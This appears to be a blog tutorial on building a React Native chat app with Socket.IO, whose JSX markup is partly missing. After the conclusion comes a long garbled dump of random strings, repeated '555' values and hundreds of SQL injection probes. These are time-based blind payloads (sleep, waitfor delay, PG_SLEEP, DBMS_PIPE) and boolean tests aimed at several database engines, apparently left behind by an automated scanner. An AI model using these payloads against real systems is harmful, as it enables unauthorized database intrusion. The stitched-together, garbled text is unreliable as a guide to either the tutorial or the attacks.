Implementing Real-time Chat in React Native with Socket.IO
In this tutorial, we'll dive into the process of creating a real-time chat application using React Native and Socket.IO. This guide will cover everything from setting up your React Native environment to integrating Socket.IO for real-time communication. By the end of this blog, you'll have a fully functional chat app that can be scaled and customized for your needs.
Prerequisites
- Node.js installed on your system
- Expo CLI or React Native CLI installed
- Basic knowledge of React Native
- A text editor of your choice
Setting Up Your React Native Project
# Install Expo CLI globally
npm install -g expo-cli
# Create a new Expo project
echo Creating a new React Native app in AwesomeChat.
expo init AwesomeChat
# Navigate into your project directory
cd AwesomeChat
# Start the Expo developer tools
expo start
Integrating Socket.IO in Your Project
After setting up your React Native project, the next step is to integrate Socket.IO, which enables real-time, bidirectional and event-based communication.
// Install Socket.IO client
npm install socket.io-client
Add the following code in your App.js
to set up a basic connection:
import io from 'socket.io-client';
let socket = io('http://your_server_address:your_port');
Building the Chat Interface
We will now build a simple chat interface. This will include an input field for messages and a display area for the chat history.
import React, {useState, useEffect} from 'react';
import {View, Text, TextInput, Button, ScrollView} from 'react-native';
const App = () => {
const [message, setMessage] = useState('');
const [chatMessages, setChatMessages] = useState([]);
useEffect(() => {
socket.on('chat message', msg => {
setChatMessages([...chatMessages, msg]);
});
}, [chatMessages]);
const sendMessage = () => {
socket.emit('chat message', message);
setMessage('');
};
return (
{chatMessages.map((msg, index) => (
{msg}
))}
);
};
export default App;
Setting Up the Server
For our chat application to work, we need a server. Here's how you can set up a simple server using Node.js and Socket.IO.
const express = require('express');
const http = require('http');
const socketIo = require('socket.io');
const app = express();
const server = http.createServer(app);
const io = socketIo(server);
io.on('connection', (socket) => {
console.log('a user connected');
socket.on('disconnect', () => {
console.log('user disconnected');
});
socket.on('chat message', (msg) => {
io.emit('chat message', msg);
});
});
server.listen(3000, () => {
console.log('listening on *:3000');
});
Conclusion
Congratulations! You've just built a real-time chat application using React Native and Socket.IO. This basic application can be the foundation for more complex projects, including those with authentication, file sharing, and more. Feel free to customize the UI and add additional features as per your project requirements.
sRdSGfuDz
pGeaqjyQ
kiDCGFdb
LDfcZOTNzd
kidzxhMewYZTyt
UGNicyQVMT
wltxrKhzjVng
vhUyPLHCn
LapXfRunhQPB
vhVSqxDkysENOWH
xgpJHKwNI
WDtQivleLbpxC
HWmwTsNorX
fIOWgFPixmJZvt
iTYRJSnt
WjyomzgPIA
CzwaOXjfNgtnoB
oYKXpiDxRE
ymzcXOZnE
zfDEkNKPwhmZu
CqoMyFgKIihBjmv
555
555
555
555
555
555
555
555
555
555
(select(0)from(select(sleep(15)))v)/'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"/
555-1; waitfor delay '0:0:15' --
555-1); waitfor delay '0:0:15' --
555-1 waitfor delay '0:0:15' --
555
555WhDJKmyo'; waitfor delay '0:0:15' --
555-1 OR 595=(SELECT 595 FROM PG_SLEEP(15))--
555-1) OR 501=(SELECT 501 FROM PG_SLEEP(15))--
555-1)) OR 857=(SELECT 857 FROM PG_SLEEP(15))--
555whGEzV6c' OR 615=(SELECT 615 FROM PG_SLEEP(15))--
555m8rFWB8K') OR 836=(SELECT 836 FROM PG_SLEEP(15))--
555gij186w4')) OR 494=(SELECT 494 FROM PG_SLEEP(15))--
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
555'"
555����%2527%2522\'\"
@@ESD8X
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
-1 OR 2+807-807-1=0+0+0+1 --
-1 OR 2+831-831-1=0+0+0+1
-1' OR 2+983-983-1=0+0+0+1 --
-1' OR 2+870-870-1=0+0+0+1 or 'nSe8G29R'='
-1" OR 2+535-535-1=0+0+0+1 --
555
555
555
555
555*if(now()=sysdate(),sleep(15),0)
555
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
1
555
555
555
555
555
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
555
1
-1 OR 2+758-758-1=0+0+0+1 --
-1 OR 2+364-364-1=0+0+0+1
-1' OR 2+261-261-1=0+0+0+1 --
-1' OR 2+622-622-1=0+0+0+1 or 'tnS10Y13'='
-1" OR 2+726-726-1=0+0+0+1 --
1*if(now()=sysdate(),sleep(15),0)
10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z
555-1); waitfor delay '0:0:15' --
555
10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z
555-1 waitfor delay '0:0:15' --
555
(select(0)from(select(sleep(15)))v)/'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"/
1-1; waitfor delay '0:0:15' --
1-1); waitfor delay '0:0:15' --
1-1 waitfor delay '0:0:15' --
1kdMVOk5m'; waitfor delay '0:0:15' --
1-1 OR 252=(SELECT 252 FROM PG_SLEEP(15))--
1-1) OR 82=(SELECT 82 FROM PG_SLEEP(15))--
555
555sqXZ8k4e')) OR 631=(SELECT 631 FROM PG_SLEEP(15))--
1-1)) OR 693=(SELECT 693 FROM PG_SLEEP(15))--
555
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
1XbzdCHL1' OR 884=(SELECT 884 FROM PG_SLEEP(15))--
555
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
555'"
555����%2527%2522\'\"
@@bmXcg
19T9koZqx') OR 604=(SELECT 604 FROM PG_SLEEP(15))--
555
1K5d0sBVv')) OR 809=(SELECT 809 FROM PG_SLEEP(15))--
555
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
555
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
'"
����%2527%2522\'\"
@@bMCh3
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
-1 OR 2+796-796-1=0+0+0+1 --
-1 OR 2+742-742-1=0+0+0+1
-1' OR 2+86-86-1=0+0+0+1 --
-1' OR 2+814-814-1=0+0+0+1 or 'WhcWW0Rw'='
-1" OR 2+297-297-1=0+0+0+1 --
555
555
555-1 waitfor delay '0:0:15' --
555
555
555
555
555
555
555
555NFCgSl2U'; waitfor delay '0:0:15' --
555
555
555-1 OR 962=(SELECT 962 FROM PG_SLEEP(15))--
555
555-1) OR 275=(SELECT 275 FROM PG_SLEEP(15))--
555
555-1)) OR 140=(SELECT 140 FROM PG_SLEEP(15))--
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
-1 OR 2+317-317-1=0+0+0+1 --
-1 OR 2+800-800-1=0+0+0+1
-1' OR 2+448-448-1=0+0+0+1 --
-1' OR 2+860-860-1=0+0+0+1 or 'NExQe4st'='
-1" OR 2+46-46-1=0+0+0+1 --
555
555
555
555
555
555
555
1
555*if(now()=sysdate(),sleep(15),0)
555
555
1
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
-1 OR 2+925-925-1=0+0+0+1 --
-1 OR 2+604-604-1=0+0+0+1
-1' OR 2+592-592-1=0+0+0+1 --
-1' OR 2+643-643-1=0+0+0+1 or 'JtDjAdsz'='
-1" OR 2+353-353-1=0+0+0+1 --
555
555
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
1*if(now()=sysdate(),sleep(15),0)
555
555
(select(0)from(select(sleep(15)))v)/'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"/
10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z
555
555-1; waitfor delay '0:0:15' --
10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z
555
555
555-1); waitfor delay '0:0:15' --
(select(0)from(select(sleep(15)))v)/'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"/
555
555
555-1 waitfor delay '0:0:15' --
1-1; waitfor delay '0:0:15' --
555
555
5557hcUjqQ5'; waitfor delay '0:0:15' --
1-1); waitfor delay '0:0:15' --
555
555
555-1 OR 32=(SELECT 32 FROM PG_SLEEP(15))--
1-1 waitfor delay '0:0:15' --
555
555
555
555
555
555
555-1) OR 216=(SELECT 216 FROM PG_SLEEP(15))--
1dOcyPu6L'; waitfor delay '0:0:15' --
555
555
555
555
555
555
555
555
555-1)) OR 105=(SELECT 105 FROM PG_SLEEP(15))--
1-1 OR 230=(SELECT 230 FROM PG_SLEEP(15))--
555
555
555cgy5VTOm' OR 677=(SELECT 677 FROM PG_SLEEP(15))--
1-1) OR 440=(SELECT 440 FROM PG_SLEEP(15))--
555
555
555
555M129OH0v') OR 895=(SELECT 895 FROM PG_SLEEP(15))--
1-1)) OR 46=(SELECT 46 FROM PG_SLEEP(15))--
555
555
555
555
555
555
555
555uycS0EWr')) OR 797=(SELECT 797 FROM PG_SLEEP(15))--
1tcAKIQJh' OR 542=(SELECT 542 FROM PG_SLEEP(15))--
555
555
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
1cWqVS3mU') OR 688=(SELECT 688 FROM PG_SLEEP(15))--
555
555
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
555'"
555����%2527%2522\'\"
@@uWoSY
1dvqVKdOZ')) OR 456=(SELECT 456 FROM PG_SLEEP(15))--
555
555
555
555
555
555
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
555
555
555
555
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
'"
����%2527%2522\'\"
@@5n2cI
555
555
-1 OR 2+78-78-1=0+0+0+1 --
555
-1 OR 2+857-857-1=0+0+0+1
-1' OR 2+901-901-1=0+0+0+1 --
-1' OR 2+806-806-1=0+0+0+1 or 'F9qjLI8G'='
-1" OR 2+936-936-1=0+0+0+1 --
555
555
555*if(now()=sysdate(),sleep(15),0)
555
555
555
555
555
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
555
555
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
555
555
555
555
555
555
555
(select(0)from(select(sleep(15)))v)/'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"/
555
555
555
555
555
555-1; waitfor delay '0:0:15' --
555
555
555-1); waitfor delay '0:0:15' --
555
555
555
555-1 waitfor delay '0:0:15' --
555
555
555
555
555
555n5AqNURI'; waitfor delay '0:0:15' --
555
555
555
555-1 OR 85=(SELECT 85 FROM PG_SLEEP(15))--
555
555
555
555
555
555uFEK6MyT')) OR 23=(SELECT 23 FROM PG_SLEEP(15))--
555
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
555
555
555
555
-1 OR 2+495-495-1=0+0+0+1 --
-1 OR 3+495-495-1=0+0+0+1 --
-1 OR 2+245-245-1=0+0+0+1
-1 OR 3+245-245-1=0+0+0+1
-1' OR 2+596-596-1=0+0+0+1 --
-1' OR 3+596-596-1=0+0+0+1 --
-1' OR 2+283-283-1=0+0+0+1 or 'aoW379Ff'='
-1' OR 3+283-283-1=0+0+0+1 or 'aoW379Ff'='
-1" OR 2+170-170-1=0+0+0+1 --
-1" OR 3+170-170-1=0+0+0+1 --
555
555
555
555
555
555
555
555
555
555
555
555
555*if(now()=sysdate(),sleep(15),0)
555
555
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
555
555
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
555
555
(select(0)from(select(sleep(15)))v)/'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"/
555
555
555
555
555
555-1; waitfor delay '0:0:15' --
555
555
555-1); waitfor delay '0:0:15' --
555
555
555
555
555
555
555
555-1 waitfor delay '0:0:15' --
555
555
555fFVgain0'; waitfor delay '0:0:15' --
555
555
555-1 OR 321=(SELECT 321 FROM PG_SLEEP(15))--
555
555
555-1) OR 158=(SELECT 158 FROM PG_SLEEP(15))--
555
555
555
555
555
555-1)) OR 124=(SELECT 124 FROM PG_SLEEP(15))--
555
555
555AZ8jPxXM' OR 478=(SELECT 478 FROM PG_SLEEP(15))--
555
555
555Ov8oGpqy') OR 200=(SELECT 200 FROM PG_SLEEP(15))--
555
555
555
555
555
555
555
555hiM2FNLl')) OR 894=(SELECT 894 FROM PG_SLEEP(15))--
555
555
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
555
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
555'"
555����%2527%2522\'\"
@@28Xk3
555
555
555
555
555
1
1
555
555
555
1
-1 OR 2+234-234-1=0+0+0+1 --
-1 OR 2+559-559-1=0+0+0+1
-1' OR 2+548-548-1=0+0+0+1 --
-1' OR 2+108-108-1=0+0+0+1 or 'AUnaeZSS'='
-1" OR 2+378-378-1=0+0+0+1 --
1
-1 OR 2+952-952-1=0+0+0+1 --
-1 OR 2+53-53-1=0+0+0+1
555
555
-1' OR 2+235-235-1=0+0+0+1 --
555
-1' OR 2+100-100-1=0+0+0+1 or 'kCEx2hGy'='
555
-1" OR 2+136-136-1=0+0+0+1 --
555
555
555
1*if(now()=sysdate(),sleep(15),0)
1*if(now()=sysdate(),sleep(15),0)
555
10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z
10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z
555
10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z
10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z
555
(select(0)from(select(sleep(15)))v)/'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"/
(select(0)from(select(sleep(15)))v)/'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"/
555
555
555
555
1-1; waitfor delay '0:0:15' --
1-1; waitfor delay '0:0:15' --
555
555
1-1); waitfor delay '0:0:15' --
1-1); waitfor delay '0:0:15' --
555
555
-1 OR 2+819-819-1=0+0+0+1 --
-1 OR 2+833-833-1=0+0+0+1
-1' OR 2+329-329-1=0+0+0+1 --
-1' OR 2+840-840-1=0+0+0+1 or 'txU9nHQZ'='
-1" OR 2+482-482-1=0+0+0+1 --
1-1 waitfor delay '0:0:15' --
1-1 waitfor delay '0:0:15' --
555
555*if(now()=sysdate(),sleep(15),0)
18P2nGdBQ'; waitfor delay '0:0:15' --
1e8lQn1Kz'; waitfor delay '0:0:15' --
555
555
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
1-1 OR 230=(SELECT 230 FROM PG_SLEEP(15))--
1-1 OR 529=(SELECT 529 FROM PG_SLEEP(15))--
555
555
555
555
555
555
555
555
555
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
1-1) OR 897=(SELECT 897 FROM PG_SLEEP(15))--
1-1) OR 550=(SELECT 550 FROM PG_SLEEP(15))--
1-1)) OR 506=(SELECT 506 FROM PG_SLEEP(15))--
1-1)) OR 873=(SELECT 873 FROM PG_SLEEP(15))--
1AGvHt4DP' OR 649=(SELECT 649 FROM PG_SLEEP(15))--
1hFkQOlMZ' OR 256=(SELECT 256 FROM PG_SLEEP(15))--
1VOQA1yCE') OR 843=(SELECT 843 FROM PG_SLEEP(15))--
1xOA3FHVC') OR 189=(SELECT 189 FROM PG_SLEEP(15))--
1MBa6dZtg')) OR 119=(SELECT 119 FROM PG_SLEEP(15))--
1pByK4F2U')) OR 131=(SELECT 131 FROM PG_SLEEP(15))--
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
'"
����%2527%2522\'\"
@@34TFz
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
'"
����%2527%2522\'\"
@@NXRIE
555
555-1) OR 889=(SELECT 889 FROM PG_SLEEP(15))--
555
555
555-1)) OR 358=(SELECT 358 FROM PG_SLEEP(15))--
555
555
555wwBYHJX5' OR 870=(SELECT 870 FROM PG_SLEEP(15))--
555
555
555
555
555
555po51tlNp') OR 102=(SELECT 102 FROM PG_SLEEP(15))--
555
555
555
555Y3wQh86B')) OR 108=(SELECT 108 FROM PG_SLEEP(15))--
555
555
-1 OR 2+209-209-1=0+0+0+1 --
555
-1 OR 2+947-947-1=0+0+0+1
-1' OR 2+266-266-1=0+0+0+1 --
-1' OR 2+279-279-1=0+0+0+1 or '3f5Uj19H'='
-1" OR 2+673-673-1=0+0+0+1 --
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
555
555
555*if(now()=sysdate(),sleep(15),0)
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
555'"
555����%2527%2522\'\"
@@Ct1i0
555
555
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
555
555
555
555
555
555
555
555
555
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
555
555
555
(select(0)from(select(sleep(15)))v)/'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"/
555
555
555
555
555
555
555
555
555
555
555
555
555-1; waitfor delay '0:0:15' --
555
555
555-1); waitfor delay '0:0:15' --
555
555
555-1 waitfor delay '0:0:15' --
555
555
555WbhjpnHe'; waitfor delay '0:0:15' --
555
555
555-1 OR 472=(SELECT 472 FROM PG_SLEEP(15))--
555
555
555-1) OR 749=(SELECT 749 FROM PG_SLEEP(15))--
555
555
555-1)) OR 146=(SELECT 146 FROM PG_SLEEP(15))--
555
555
555BhT3GNPG' OR 579=(SELECT 579 FROM PG_SLEEP(15))--
555
555
555tBUg3A2w') OR 358=(SELECT 358 FROM PG_SLEEP(15))--
555
555
555jS7QgAiV')) OR 901=(SELECT 901 FROM PG_SLEEP(15))--
555
555
555
555
555
555
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
555
555
555
555
555
555
555
555
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
555'"
555����%2527%2522\'\"
@@OShQM
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
1
555
555
555
555
555
1
-1 OR 2+288-288-1=0+0+0+1 --
-1 OR 2+331-331-1=0+0+0+1
-1' OR 2+198-198-1=0+0+0+1 --
-1' OR 2+800-800-1=0+0+0+1 or 'MqaNDVGd'='
-1" OR 2+978-978-1=0+0+0+1 --
555
555
555
1*if(now()=sysdate(),sleep(15),0)
555
555
555
555
555
555
555
10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z
555
555
555
10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z
555
555
(select(0)from(select(sleep(15)))v)/'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"/
555
555
555
555
1-1; waitfor delay '0:0:15' --
555
555
555
555
1-1); waitfor delay '0:0:15' --
555
555
555
555
1-1 waitfor delay '0:0:15' --
555
555
555
555
555
-1 OR 2+612-612-1=0+0+0+1 --
-1 OR 2+359-359-1=0+0+0+1
-1' OR 2+691-691-1=0+0+0+1 --
-1' OR 2+185-185-1=0+0+0+1 or 'FsNWTLJb'='
-1" OR 2+920-920-1=0+0+0+1 --
1dDriaAmx'; waitfor delay '0:0:15' --
555
555
555*if(now()=sysdate(),sleep(15),0)
1-1 OR 140=(SELECT 140 FROM PG_SLEEP(15))--
555
555
555
555
555
555
555
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
1-1) OR 710=(SELECT 710 FROM PG_SLEEP(15))--
555
555
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
1-1)) OR 781=(SELECT 781 FROM PG_SLEEP(15))--
555
555
(select(0)from(select(sleep(15)))v)/'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"/
1P7O2zWX4' OR 858=(SELECT 858 FROM PG_SLEEP(15))--
555
555
555
555
555
555-1; waitfor delay '0:0:15' --
1Ej0YgxLR') OR 667=(SELECT 667 FROM PG_SLEEP(15))--
555
555
555
555-1); waitfor delay '0:0:15' --
17dxZ2CHn')) OR 716=(SELECT 716 FROM PG_SLEEP(15))--
555
555
-1 OR 2+820-820-1=0+0+0+1 --
-1 OR 2+821-821-1=0+0+0+1
-1' OR 2+277-277-1=0+0+0+1 --
-1' OR 2+494-494-1=0+0+0+1 or 'fbS6IaGS'='
555
-1" OR 2+881-881-1=0+0+0+1 --
555-1 waitfor delay '0:0:15' --
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
555
555
555*if(now()=sysdate(),sleep(15),0)
555IyOxzVvo'; waitfor delay '0:0:15' --
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
'"
����%2527%2522\'\"
@@ng2fo
555
555
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
555-1 OR 569=(SELECT 569 FROM PG_SLEEP(15))--
555
555
555
555
555
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
555-1) OR 955=(SELECT 955 FROM PG_SLEEP(15))--
555
(select(0)from(select(sleep(15)))v)/'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"/
555-1)) OR 198=(SELECT 198 FROM PG_SLEEP(15))--
555
555
555
555-1; waitfor delay '0:0:15' --
555
555gJlhO69M' OR 815=(SELECT 815 FROM PG_SLEEP(15))--
555-1); waitfor delay '0:0:15' --
555
5551xQCG1NB') OR 965=(SELECT 965 FROM PG_SLEEP(15))--
555-1 waitfor delay '0:0:15' --
555
555
555
555
555OQ23ou86')) OR 435=(SELECT 435 FROM PG_SLEEP(15))--
555
555
555zttKTAMk'; waitfor delay '0:0:15' --
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
555
555-1 OR 983=(SELECT 983 FROM PG_SLEEP(15))--
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
555'"
555
555����%2527%2522\'\"
@@YL4Jn
555-1) OR 56=(SELECT 56 FROM PG_SLEEP(15))--
555
555
555-1)) OR 113=(SELECT 113 FROM PG_SLEEP(15))--
555
555
555iJqrJ8V7' OR 457=(SELECT 457 FROM PG_SLEEP(15))--
555
555XZ3svznx') OR 983=(SELECT 983 FROM PG_SLEEP(15))--
555
555kUjxZXpc')) OR 322=(SELECT 322 FROM PG_SLEEP(15))--
555
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
555
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
555'"
555����%2527%2522\'\"
@@dFFgu
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555